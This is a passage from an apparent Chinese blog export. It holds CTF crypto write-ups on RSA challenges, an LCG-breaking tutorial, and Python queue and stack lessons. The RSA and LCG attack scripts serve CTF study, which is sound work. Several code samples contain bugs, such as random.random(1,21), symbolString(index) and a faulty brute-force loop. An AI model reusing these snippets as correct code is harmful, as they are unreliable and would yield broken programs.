3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059#e= 65537 ​ 根据已知信息化简得到一个关系:c=pow(m*p,e,n),再根据这个关系可以推出p其实就是c和n的最大公因数,那么可以求出p从而得到q,d求出明文,脚本: 12345678910111213141516171819202122232425262728import gmpy2from Crypto.Util.number import *def gcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a #辗转相除法n= 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141c= 3489599657527403893851973553294684608504140532554562294027722218597464669848608337663997115805201027340092733823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560732214361469135212057355342825193598971775551833240699393482839422273480793244841531126642199202744610656153155545415859410361595564197685655133074582118230993519133935533313364233668337427608419528430102794052261190930670933657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242593224189976058739054174360024536594384447518687126891675059e= 65537p=gcd(n,c)print(p)q=n//pprint(q)phi=(p-1)*(q-1)print(n==p*q)d=gmpy2.invert(e,phi)print(d)m0=pow(c,d,n)m=(m0)//pflag=long_to_bytes(m)print(flag)","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"数论或其它","slug":"比赛/RSA/数论或其它","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E6%95%B0%E8%AE%BA%E6%88%96%E5%85%B6%E5%AE%83/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"数论","slug":"数论","permalink":"http://example.com/tags/%E6%95%B0%E8%AE%BA/"}]},{"title":"Python数据结构—队列","slug":"Python数据结构—队列","date":"2022-01-04T10:30:01.000Z","updated":"2022-01-04T10:33:58.000Z","comments":true,"path":"2022/01/04/Python数据结构—队列/","link":"","permalink":"http://example.com/2022/01/04/Python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E2%80%94%E9%98%9F%E5%88%97/","excerpt":"​ Python实现队列,以及两个应用:1.约瑟夫斯问题 2.打印机任务问题 队列在实际的开发编程和系统编程中用的非常多,以后还需要继续学习。","text":"​ Python实现队列,以及两个应用:1.约瑟夫斯问题 2.打印机任务问题 队列在实际的开发编程和系统编程中用的非常多,以后还需要继续学习。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100# python实现简单队列import randomclass Queue: def __init__(self): self.items = [] def isEmpty(self): return self.items == [] #入队用insert,复杂度为O(n) def enqueue(self,item): self.items.insert(0,item) #出队列用pop,复杂度为O(1) def dequeue(self): return self.items.pop() def size(self): return len(self.items)# 队列应用一: 约瑟夫斯问题def hotPatato(namelist,num): simqueue = Queue() for name in namelist: simqueue.enqueue(name) while simqueue.size() > 1: for i in range(num): simqueue.enqueue(simqueue.dequeue()) #入列和出列num次以后,队列头的名字出局 simqueue.dequeue() return simqueue.dequeue()# 队列应用二:打印任务class Printer:# 打印机类,用于初始化打印速度,判断打印机状态,打印工作计时等 def __init__(self,ppm): self.pagerate = ppm self.currentTask = None self.timeRemaining = 0 def tick(self): #打印工作计时器,调用一次只减一秒 if self.currentTask != None: self.timeRemaining = self.timeRemaining - 1 if self.timeRemaining <= 0: self.currentTask = None def busy(self): #判断打印机当前是否被占用 if self.currentTask != None: return True else: return False def startNext(self,newtask): #新任务以及其工作所需打印时间 self.currentTask = newtask self.timeRemaining = newtask.getpage() * 60 /self.pagerateclass Task:# 任务类,每个新的打印任务的初始化设定,比如任务建立时的时间戳等 def __init__(self,time): self.timestamp = time self.pages = random.random(1,21) def getStamp(self): return self.timestamp def getPages(self): return self.pages # 等待时间为开始处理时的时间减去任务建立时的时间 def waitTime(self,currenttime): return currenttime - self.timestampdef simulation(numSeconds,pagesPerMin): labprinter = Printer(pagesPerMin) printQueue = Queue() waitingtimes = [] #用一个列表来保存每个任务的等待时间,最后汇总 for currentSecond in range(numSeconds): if newPrintTask(): task = Task() printQueue.enqueue(task) if (not labprinter.busy()) and (not printQueue.isEmpty()): nexttask = printQueue.dequeue() waitingtimes.append(nexttask.waitTime(currentSecond)) labprinter.startNext(nexttask) labprinter.tick()# 输出当前执行(过)的任务的平均等待时间和队列剩余的任务 averageWait = sum(waitingtimes)/len(waitingtimes) print("Average Wait %6.2f seconds %3d tasks remaining."%(averageWait,printQueue.size()))def newPrintTask(): num = random.randrange(1,181) if num == 180: return True else: return False","categories":[{"name":"python数据结构与算法","slug":"python数据结构与算法","permalink":"http://example.com/categories/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"}],"tags":[{"name":"python数据结构","slug":"python数据结构","permalink":"http://example.com/tags/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"},{"name":"队列","slug":"队列","permalink":"http://example.com/tags/%E9%98%9F%E5%88%97/"}]},{"title":"CTFshow-大吉大利杯-easysignin","slug":"CTFshow-大吉大利杯-easysignin","date":"2022-01-03T07:06:46.000Z","updated":"2022-01-03T07:13:28.000Z","comments":true,"path":"2022/01/03/CTFshow-大吉大利杯-easysignin/","link":"","permalink":"http://example.com/2022/01/03/CTFshow-%E5%A4%A7%E5%90%89%E5%A4%A7%E5%88%A9%E6%9D%AF-easysignin/","excerpt":"​ 考察的是对LCG伪随机算法的攻击。","text":"​ 考察的是对LCG伪随机算法的攻击。 ​ 题目: 1234567891011121314151617181920212223242526272829from Crypto.Util.number import getPrime, isPrime, bytes_to_longfrom random import getrandbitsfrom secret import flagdef genpq(k): while True: p = getPrime((k + 3) // 4) q = getPrime((k + 3) // 4) if ((p ** 2) * (q ** 2)).bit_length() == k: return (p, q)def genseq(t, k): x = getrandbits(k) y = getrandbits(k) r = [] r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)] for i in range(len(flag)): r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)] return r(p, q) = genpq(2021)e = getPrime(0x0123)r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]c = pow(bytes_to_long(flag), e, 2021 * p * q)out = open('output.txt','w')out.write(str(r) + "\\n")out.write(str(c) + "\\n")out.close() ​ 其实就是RSA套上了LCG进行混淆,看起来复杂实际上考点就两个: 1.费马小定理:题中r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)] 这里指数部分可化简为1 2.对LCG算法的破解: 12345def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) 完整脚本: 1234567891011121314151617181920212223242526272829303132333435363738import numpy as npfrom functools import reducefrom math import gcdfrom gmpy2 import *output = [[52410740454341322584968668119249347590637310744053575667199658377254616720, 645233054655774190743329734650633925675658559407235845892000719418629264735950925156778060047916782135118939609, 7943518660704895786672594284269647711181509726633514226380530196425485458539625694575495231887385619012015881286882728587606040595061922764546504652, 88914058098690563261741069739196350367736459872642989654182096322219071679192700322294625591039910568014594162793682719562807511893126265269018965631844, 21848556616661858554457567702772141873495700440964466396641152668611914726571047215318351614761015187840557741595013435098462212054082613351365353879971, 30981990147740324963531127581242040452010812929397936350977330949621677682914852118175610889739709323337510806201042485424717012639070029274069982697770, 86391152218016366813847004247404056131417771687236374092616383814217301192122912423701248555978593644222324385731750478659656390099667206731986826034783, 11919788822817325862607995189694676040563253448913899451812469694262245578863190210002110273555634880385761984875510033893001873388959689185144905903209, 113172562380439676720883790279148843121957456418188815624366983390069987176782078966213846939157552371083567965339468376209438408527447055279432563530293, 53639431322349477360106465790490257401135940987536122273392905439789302677727263369595453217090741732679101465032774237786279512056854438308525173657159, 66494591146164538399359207417261107297618965139951036147349388185500471848417939882942051000401169375606555137676945793825997569250321049050064328504686, 68140755777619578564543055029117317295128399240486821374257706188512954130154120098052147911199011456619478205381967508904616755976025013771737828736712, 108937156773321279370931816069281780172829105656866216917516598661018254865761711673453882295854673659374303771527203182421483883387191105457655039518598, 23851657909638071121522950452985193121203677553882352681904178324157544934072951198267420469049884225406011127813710965228771378971223671119499320807527, 73593420351924535735583383759106213752911143688405196033083181161847427289244164307112764704106027032275168673202117613094614344445994185733167048206528, 45149231454111577928491035214773110610124553323394642764742046515465337002110008680672172596244297975180829797354612671475605687567668633260989146225109, 116595530380208734174324933018691232247236449545224536610877958513488572395417607779848679300427540247845082936159111075084099286531721388893818985053741, 19184570673197822395630076591747812314740067696017031829688067440093395269633819900129824384419564803863978782409207577313654883568996185370309615089861, 25053641421607032412936267237167725716755999385160231284419862285097826856694410270421890957270689086653085525341558101625176940863016775431803134278503, 41834644301798766586022917842507064432100240754373142283841634039601045968196848660974947416021443814036134492045552003431910969249042558378746090903740, 42360644234440625880638052651286919014389438067342750959116570502193321560916125003972414759569882508574236473191565962375571182326447121493190045921270, 64154129476091746233508446729279257596903523952542574303253450285299398583980541526259161563202739149004027272968609086796202499698823078817922156242997, 99743770056582602741303337738692194013086027384260039696324929460010638859447328004451799213553786836333122482774819971466325395235923612135604232226628, 76016751544879152402468315780586583194677362762856804802274327372452749909986720770385321555358806909857936245178757512784557916380481731086991902054287, 15290970738221187280390322268161848800499662337983876912254205399494853703975899722962615773380166218671937854689533200852650284347709468624816742506301, 67706974286610751556509787688743881517790029217389913481852566524040229236517365403017047098395951124264255110450504690606926248507428249271556983456901, 93639585966460526678788701909900876014525038540391772469992121354765056693895744954209300307081001946602586071602887248893957063725982565677570972746179, 116294621911461475477765026959041413149677852360214402280735648748333959155194969755168263936256009261138274595240480200664019902568187683340477743969899, 5600077388578735042597674074656979994549617482972881863164687525745536334190390401329680675467385619222535929475803379568900871335069384301033734714233, 14950370510302209746655108744292059719774565235701177358607157704462080787582712898381047410531181256769171281519411806803555715962755361346294970645323, 62016127245313515166454506817734613861723408949410899879216139989641932810248154680978274902855232651990299832297039642288310178403863342787840550299197, 95333439043968773649754476810195845118762991943266271403726184079242047672417932848967803488781971181275041399864016152589549446967782464066482170680045, 17892190659451591126424119305367671928739240611597727166543577571172322192576331228580357825811249660239169745390013910560069896203797045063231158722853, 47343585379646662714119978325645155712476914243757156114505021559030784519828048323795389199684946739451189942398561417829509539613791387644014640880892, 107633502313698058424938275622569640009485699854002361851653372416279664993830018051561865544743074946977906999458321566411251984151075748983779536801656, 101301834848265959280691115298109056299094420476120335636075492785328213139655230146061664228486248771534280699591814762729915638378841230330876525933001, 100833383873897711880618620396289395792480753105857884143070890861779172346713570088651208648247678032376842604846315923312830531728252064463150986767877, 110832079086180425600051267498601847526388754584982689270788472799404147017261513262539159424820032777910677631796771424828022748042489660903717952947232], [2447835208216480089797117166098772864739983439147154550843410133502162338263, 90343453249141616309012786446354427397838634661038147051928857871447909510509540184081882802706067411363905232391, 3334350089247517867244794106926436317086273858623518082485947115508154733111001565093191192674670220618972600184165291699923904558749567306156634412295, 10773127238350735566139610265473489634284355749344684347913928639165091011956627111779426812064973544315989779523475733083567151499479793829671206141097, 106073688178033729190829682109679728245170052489478284990130508152039157863313154674078420619615011691032124222115566415769268517103742200043347846746310, 96864656966701608190452551924897023075560536848477610188768188296307194880004203630087264191421619540332532988322143583373922117130397679868254621842062, 90007570555125944092169218313738703993888121021783637142913909308099775085919518984873236408360228986382651525244328621860786089655176559888337945973265, 107604402646950221603694740182904829452610405361494187112972298194020162739490546852179057650360974702490340526819923399009740841491688354483369514169504, 106563280130150122326814032245025170948640642468357539265829858841580809022713867834571254297385660279367044782111285768058114284965175416454533853149098, 34006794372719255946701440846013876868985083446980545795344603308580913114300387951211231095472417358606631528579058832071833342645392417576288348171281, 80528690688989385531407273709213599547356208780618772147048236656262530606555256335153687882045380456243914208416285214393577589279953053395148801048043, 25252035922809872666372710839612084651799975462368368568421254228924839144802392424596779526739759011515745889793921767279843129898429087648706961214380, 15441075054379206603678761656461990005728026633190896788589499872488783507420374230165723864117983219469482787021780166107230849440690930291658692943884, 15730255840343160294128109470006774677678596243801516284827627241776907423825237162176372972699529694206547624329200148008905292241372763696643556851248, 15929374919958330762187534489183857327423262543417435665674052288372574077203981789863180537536922526152815069819616552018951188431418135256962942313150, 16820416513541190327907989962230541088691747266081952862738221010557935254064045592670849585275377539144509827653431170474288972399346359112627171936199, 62613123636486933874885881624168137103745407796444871779926315982802027799075166745074790838012194635812853433064138182942124531618582978708688026203712, 103390317097626211538390057925702534478424865400956004756449501914108837524902468766472576617059468680745338232757547345497585919880616072977553233278603, 106855090961917607608766903030826427305834559006355051082927925151921938627824191628649167300491312597092422279212561689251186535550087727802277317012637, 78550566353218314794723213322674271780550941969941432645092204751089489784529040122660556916516795686398814802277195824477145440164288404226182667432413, 27234374989834250512863591479223580820709377656219659243546791666422683600672138485672126972130292224970890443705416445427654052263167668188984214509496, 89073500384217027637576686609574923520864474465437796981228200517382920934009159891695058762467754821583073917774195612915842601271956467375250874741115, 81523221328096138331223676561475793372150203835133425580501094268867250067873677785078977441798107146380161414152017043957710432372886446496269471249870, 69426635873092086451473939772373894337793035157602866886753621226137855012060402481656332348663588598120734258884064385818693263157949512108768237653037, 27038496127031393485308453098136903958592822859537990682349040311778748501331008447014951690343425476063063582655448477055880499291781315998134395062551, 86563190395140161836966058609094941013946825669471943800850341447296711952143605563471041765702929391516506170236643633037511742900440430412347138373811, 92654519757605791295431607106260304699360787251056766515059747102627521170620749248095214607497002308663852187075958446074495640666063038994344066529674, 47978472743885278893083282341878167737725647616340703972452890584651298269018115725710882998002541867355534242320731285507237225498136712897684035221694, 33937234952409141712999986890445630797610786424992916483378338039398873916932446399890479122582956874435985731634172335771866950539140459057793782237502, 53536716653947884337358943672946218345105772801556349741322007215929226375220858833185514799016429985979192211191664179249403984470298515297769983151764, 15571885519410418984279068975979417469158262995629377377010899727496518373589643663028156863791907436837054446354508286361951842342722672331011023846114, 8566869430523038374329005968331909880668039196226700509945801110864252361948997146164771896223981284735805514278445995598366675322977971551419425480644, 87201260842977762054169640055047984836895338107976452298751798557901196013452620843946503586203236027871183035720513488012632267170999498276073312805571, 93478630791498129840635935563160804999341438068212212075961484875554801063436616116564312106399142481823172612186464441144737797880760682581757444561694, 49399628737188601660367894914908547591976252279392032109588827791264737386179351022649986152248431169393115396754709411287013944596327999564120047443685, 401770084546389936795883960043586247087806968600408302529922285961914019164988332998528995717095956973083747814499516267750284263835592854038001543364, 46910295459783203906544465622227903475837618852453968036856768892034422511892075866806031498301570602549864578109096480551648362399275135770250479266764, 48705341969973174964195737555908215932127208480896065769947732952516004887948769345944422825151845846335939723147282687407339303320406462649862333812892], [6763996718934951285742307562806923397006813, 12234833447991510153841494781985313133191586854789667980564533023, 22130576894138701986742918639431233979778270965194566122306861346111716828577556403873, 767648503612570945278792619619046535101078814202096337589566648572901378566441587067065, 1534503080514914991237881845264698854398689474324594013087679222396116209460382272347120, 2150152040945137216175051477345156832872965887696888090617763887196376039836211151684155, 1519134084444926105081859598135660300537196230332783741163873836023160842189452416751204, 1347961026269871555909121507968616952100851882185690586872363417766328195659354367286160, 442978203022900661788725058674237344919172289937224290573991574448751808619506704123728, 434277065671750016380827889451816552550232352950909430034013985469154609260218730764780, 979776898630843046146074197140740184861751729514455753655622904091278621814340310325052, 873700620112565719323179396419879070723310944684570011051348198205453537590517739575294, 1256514485942478003559638390025523283241250878990443282316967845337571713994674756627249, 2201413023234946734277012190477530998161056783942361564091571454780425152722167887757333, 15845440233510397242131879469914499447138153273633842521183302623397377025857347058355, 719557135712047144341175773587928323041035301800224566640992208827132114843710118060603, 1872194680805780497350808471632655890088399919927439303351392835028632946050942049128363, 739802156645251387441611149162232326760167809822024988834688224156162966157182526727210, 1842345264759627182982545223023325564813297247358347573262929227611626782102112032498792, 1942056684591589139535850561429570147021382203103121319949566652649463471174580278445972, 1897401671012077468168242201956275317342401618250346254943410859299471001683176665446266, 1299697210304599531296837763293611409445703982993464696432211710136915756408352763838420, 6339661487999740913576932261380541287960678716377148820725064627689077214923145744267, 206550580254594047163709231196572177167911612047377521986355302588778287613331054094422, 2095017194382050543451996020322766986862239168048229828922060511851698524762340797229358, 38154091093834482476428418031816301638508654861013053691521551593888386192530215738249, 2312527000380201589293545236295238368648424299462645212556813668113451665892155924195549, 1148055457422644367319939159612923263814575289811148258779972071041630980150900639103033, 2491032359438353539795070569649180009224077260857699946936305612971624383446047213147218, 2502865604540348808929226301472051722005592649019284150593000357524824393775392671519130, 1039938101331801857780518763744667966269026413223284682004343257200589049680488254035897, 316947919834210211954441725158411391798247265696200080865972078867990121934703299224598, 1191200775168680784071665067183230700343262160056248368421562785231813797955113569864397, 517875043776615303660143356495634794257910735766828738806709874383193521216795724710570, 177783588672600341630231835251624651899982858825356048074013206591129692021093027549523, 1181655045918151017173609506041984644632154476633196738728202200703641104893529622554198, 1943728872455114467893276648701066972260927692980375525686315254866764954534482612584812, 841323196734187035327534237852681191366390226431490238525430672327199713070166890155539]]output = np.array(output)def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, incrementdef crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)rp = output[0]rq = output[1]re = output[2]c = 1499341850116033218583322015832654376326982200720069022052964940686970117688218295301399005244875933100636608594036976589026918517646244220826168516373612155557984806411945784862108964553911520434368098212111129654894447128360717210621466898152738161667124194644244479881039031313468828783882375812512993823xp, yp, p = crack_unknown_modulus(rp)xq, yq, q = crack_unknown_modulus(rq)xe, ye, e = crack_unknown_modulus(re)print(p)print(q)print(e)for i in (0,pow(2,1000)): if pow(i,e,2021*p*q) == c: print(i)","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"线性同余生成器(LCG)-原理及攻击方式(一)","slug":"线性同余生成器(LCG)-原理及攻击方式(一)","date":"2021-12-30T10:04:56.000Z","updated":"2022-02-10T14:08:38.000Z","comments":true,"path":"2021/12/30/线性同余生成器(LCG)-原理及攻击方式(一)/","link":"","permalink":"http://example.com/2021/12/30/%E7%BA%BF%E6%80%A7%E5%90%8C%E4%BD%99%E7%94%9F%E6%88%90%E5%99%A8%EF%BC%88LCG%EF%BC%89-%E5%8E%9F%E7%90%86%E5%8F%8A%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%EF%BC%88%E4%B8%80%EF%BC%89/","excerpt":"​ 线性同余方法(LCG)是个产生伪随机数的方法。 它是根据递归公式:Sn+1 = (A*Sn + B) mod M 进行实现, 其中A,B,M是产生器设定的常数。我们常说的种子数seed其实就是初始的S0的值。","text":"​ 线性同余方法(LCG)是个产生伪随机数的方法。 它是根据递归公式:Sn+1 = (A*Sn + B) mod M 进行实现, 其中A,B,M是产生器设定的常数。我们常说的种子数seed其实就是初始的S0的值。 实现算法: 12345678910111213141516class prng_lcg: m = 672257317069504227 # "乘数" c = 7382843889490547368 # "增量" n = 9223372036854775783 # "模数" def __init__(self, seed): self.state = seed # the "seed" def next(self): self.state = (self.state * self.m + self.c) % self.n return self.state def test(): gen = prng_lcg(123) # seed = 123 print gen.next() # 第一个生成值 print gen.next() # 第二个生成值 print gen.next() # 第三个生成值 基本攻击方式有四种,基本都基于初等数学计算方法,还有基于格理论的攻击方法以后再更新。 1.对于A、B、M以及N0已知的情况假设我们观察到有一个LCG系统产生了以下三组连续的值,并且知道内部的参数如下: 12345678# 三组连续的值s0 = 2300417199649672133s1 = 2071270403368304644s2 = 5907618127072939765# 内部的参数m = 672257317069504227 # the "multiplier"c = 7382843889490547368 # the "increment"n = 9223372036854775783 # the "modulus" 在已知了这些参数之后可以通过递推关系很快推算出未来的数值或者之前的某个数值。 2.增量未知不清楚增量,但是知道以下信息: 123456m = 81853448938945944c = # unknownn = 9223372036854775783# 初值和第一个计算值s0 = 4501678582054734753s1 = 4371244338968431602 稍稍改写下公式就可以将目标c计算出来 123s1 = s0*m + c (mod n)c = s1 - s0*m (mod n) 3.增量和乘数都未知虽然不知道增量和乘数但是知道以下数值: 1234567m = # unknownc = # unknownn = 9223372036854775783# LCG生成的初值和后面生成的两个值s0 = 6473702802409947663s1 = 6562621845583276653s2 = 4483807506768649573 解决办法很简单,想想怎么解线性方程组就好了 123456s_1 = s0*m + c (mod n)s_2 = s1*m + c (mod n)s_2 - s_1 = s1*m - s0*m (mod n)s_2 - s_1 = m*(s1 - s0) (mod n)m = (s_2 - s_1)/(s_1 - s_0) (mod n) 4.增量、乘数和模数均未知现在内部状态基本是都不知道了,但是知道初值和随后LCG产生的连续的几个值。 12345678910m = # unknownc = # unknownn = # unknowns0 = 2818206783446335158s1 = 3026581076925130250s2 = 136214319011561377s3 = 359019108775045580s4 = 2386075359657550866s5 = 1705259547463444505s6 = 2102452637059633432 用线性方程式无法解决了,因为未知数太多,引入多个随机数值都会给每个方程引入新的未知量: 123456s1 = s0*m + c (mod n)s2 = s1*m + c (mod n)s3 = s2*m + c (mod n)s1 - (s0*m + c) = k_1 * ns2 - (s1*m + c) = k_2 * ns3 - (s2*m + c) = k_3 * n 这就相当于六个未知数和三个方程,线性方程组不可能行得通。考虑利用gcd: 如果有几个随机数分别乘以n,那么这几个数的欧几里德算法(gcd)就很可能等于n。 123In [944]: n = 123456789In [945]: reduce(gcd, [randint(1, 1000000)*n, randint(1, 1000000)*n, randint(1, 1000000)*n])Out[945]: 123456789 某些非0值取模运算是会等于0的: 1X = 0 (mod n) 然后,根据定义,这相当于: 1X = k*n 这种X != 0但是X = 0 (mod n)的情况可以加以利用。我们只需要取几个这样的值进行gcd运算,我们就可以解出n的值。这是在模数未知的情况下十分常用的方法。 在此引入一个序列 – T(n) = S(n+1) - S(n): 1234t0 = s1 - s0t1 = s2 - s1 = (s1*m + c) - (s0*m + c) = m*(s1 - s0) = m*t0 (mod n)t2 = s3 - s2 = (s2*m + c) - (s1*m + c) = m*(s2 - s1) = m*t1 (mod n)t3 = s4 - s3 = (s3*m + c) - (s2*m + c) = m*(s3 - s2) = m*t2 (mod n) 之后就可以得到想要的效果了: 1t2*t0 - t1*t1 = (m*m*t0 * t0) - (m*t0 * m*t0) = 0 (mod n) 可以生成几个这样模是0的随机数算式,进而利用上文讲述的技巧。","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"伪随机数生成器","slug":"比赛/伪随机数生成器","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8/"},{"name":"LCG","slug":"比赛/伪随机数生成器/LCG","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90%E5%99%A8/LCG/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"PRNG","slug":"PRNG","permalink":"http://example.com/tags/PRNG/"},{"name":"LCG","slug":"LCG","permalink":"http://example.com/tags/LCG/"}]},{"title":"CTFshow-ROARCTF-EASYRSA","slug":"CTFshow-ROARCTF-EASYRSA","date":"2021-12-30T04:49:22.000Z","updated":"2021-12-30T04:58:52.000Z","comments":true,"path":"2021/12/30/CTFshow-ROARCTF-EASYRSA/","link":"","permalink":"http://example.com/2021/12/30/CTFshow-ROARCTF-EASYRSA/","excerpt":"​ 思路就是根据p、q的等式关系进行模变换计算得到(p-1)*(q-1),从而得到d破解密文。","text":"​ 思路就是根据p、q的等式关系进行模变换计算得到(p-1)*(q-1),从而得到d破解密文。 ​ 题目: 123456789101112131415161718192021222324from Crypto.Util.number import *from gmpy2 import *from secret import *assert(flag.startwith('flag{')) and (flag.endwith('}'))assert(,(beta) and len(bin(beta)[2:]) == 512) assert(len(bin(x)[2:]) == len(bin(y)[2:]))# This is tip!!!assert(tip == 2*x*y*beta + x + y)p = 2*x*beta + 1q = 2*y*beta + 1assert(is_prime(p) and is_prime(q))n = p*qe = 65537m = bytes_to_long(flag)enc = powmod(m,e,n)#n=17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663#e=65537#enc=10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223#beta=11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599 ​ 数学变换过程: ​ 题解: 12345678910111213141516171819202122232425from gmpy2 import *from Crypto.Util.number import *beta = 11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599enc = 10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223e = 65537n = 17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663tip = (n - 1) // (2 * beta)answer = tip - tip % betadef solve(c1): pq1 = (answer - c1 * beta) * 2 * beta d = invert(e, pq1) flag = powmod(enc, d, n) flag = int(flag) flag = long_to_bytes(flag) if b'flag' in flag: print(flag) exit()for a1 in range(100, 1 << 12): solve(a1) flag{21824349-25bb-4f7f-b551-f13d4abba2e2}","categories":[],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"Python数据结构—栈","slug":"Python数据结构—栈","date":"2021-12-29T14:03:57.000Z","updated":"2021-12-29T14:07:48.000Z","comments":true,"path":"2021/12/29/Python数据结构—栈/","link":"","permalink":"http://example.com/2021/12/29/Python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E2%80%94%E6%A0%88/","excerpt":"​ 摸鱼ing… python栈基本实现和简单实例。","text":"​ 摸鱼ing… python栈基本实现和简单实例。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131# python数据结构第一课 栈 2021/12/29import stringclass Stack: def __init__(self): self.items = [] def isEmpty(self): return self.items == [] # 入栈 def push(self,item): self.items.append(item) # pop移除栈顶端的元素,并返回值 def pop(self): return self.items.pop() # peek返回栈顶端元素但不移除 def peek(self): return self.items[len(self.items)-1] def size(self): return len(self.items)def test(): s = Stack() print(s.isEmpty()) s.push('cy') s.push('lzh') s.push(1) s.push({'f':'99'}) print(s.isEmpty()) print(s.pop()) print(s.peek()) #不移除栈顶端的元素 print(s.size())# 栈的应用一:简单括号匹配def parChecker1(symbolString): s = Stack() balanced = True index = 0 while index < len(symbolString) and balanced: symbol = symbolString(index) if symbol == '(' : #遇到左括号就入栈 s.push(symbol) else: if s.isEmpty(): balanced = False else: s.pop() #匹配到右括号就将栈里的左括号出栈 index = index + 1 if balanced and s.isEmpty(): return True else: return False# 栈的应用二:复杂括号匹配def matches(open,close): opens = "([{" closes = ")]}" return opens.index(open) == closes.index(close)#应该是最简单的写法吧?def 